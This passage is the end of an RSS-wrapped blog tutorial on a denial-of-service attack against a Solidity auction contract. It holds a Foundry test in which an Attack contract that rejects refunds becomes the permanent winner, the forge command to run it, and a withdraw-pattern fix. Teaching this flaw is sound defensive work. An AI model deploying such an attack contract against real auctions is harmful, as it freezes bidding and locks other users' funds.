    //declare a variable for holding instances of our contracts
    Good public goodContract;
    Attack public attackContract;

    function setUp() public {
        // Deploy the Good Contract using a dummy account
        vm.prank(vm.addr(420));
        goodContract = new Good();


        //Deploy the Attack Contract
        attackContract = new Attack(address(goodContract));

    }

    function test_attack() public {

        // Get two addresses using their private keys
        address address1= vm.addr(1);
        address address2= vm.addr(2);

        //add funds to the addresses
        deal(address1, 100 ether);
        deal(address2, 100 ether);


        //Initially let address1 become the current winner of the auction
        //impersonate address1 for sending a transaction to the Good Contract
        vm.prank(address1);
        goodContract.setCurrentAuctionPrice{value: 1 ether}();

        
        
        // Start the attack and make Attack.sol the current winner of the auction
        attackContract.attack{value: 3 ether}();

        // Now let's try making address2 the current winner of the auction
        vm.prank(address2);
        goodContract.setCurrentAuctionPrice{value: 4 ether}();



        // Balance of the Game Contract should be equal 0
        assertEq(goodContract.currentWinner(), address(attackContract));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice how Attack.sol will lead Good.sol into a DOS attack. First address1 will become the current winner by calling setCurrentAuctionPrice on Good.sol then Attack.sol will become the current winner by sending more ETH than address1 using the attack function. Now when address2 will try to become the new winner, it won't be able to do that because of this check(if (sent)) present in the Good.sol contract which verifies that the current winner should only be changed if the ETH is sent back to the previous current winner.&lt;/p&gt;
&lt;p&gt;Since Attack.sol doesn't have a fallback function which is necessary to accept ETH payments, sent is always false and thus the current winner is never updated and address2 can never become the current winner&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test the attack&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To run the test, in your terminal pointing to the root directory of this level execute the following command&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;forge test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the tests pass, you will notice that the Good.sol is now under DOS attack because after Attack.sol becomes the current winner, on other address can becomes the current winner.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt; Prevention&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can create a separate withdraw function for the previous winners.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;
    mapping(address =&amp;gt; uint) public balances;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value &amp;gt; currentAuctionPrice, &quot;Need to pay more than the currentAuctionPrice&quot;);
        balances[currentWinner] += currentAuctionPrice;
        currentAuctionPrice = msg.value;
        currentWinner = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != currentWinner, &quot;Current winner cannot withdraw&quot;);

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}(&quot;&quot;);
        require(sent, &quot;Failed to send Ether&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt; Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Hope you learnt something from this post. &lt;br&gt;
If you have any questions or feel stuck or just want to say Hi, call me anytime!&lt;/p&gt;
&lt;p&gt;Thanks&lt;/p&gt;
</description>
<category>Web Dev</category>
<guid isPermaLink="true">https://coderlegion.com/3145/executing-denial-of-service-on-smart-contracts</guid>
<pubDate>Sat, 24 May 2025 04:24:29 +0000</pubDate>
</item>
</channel>
</rss>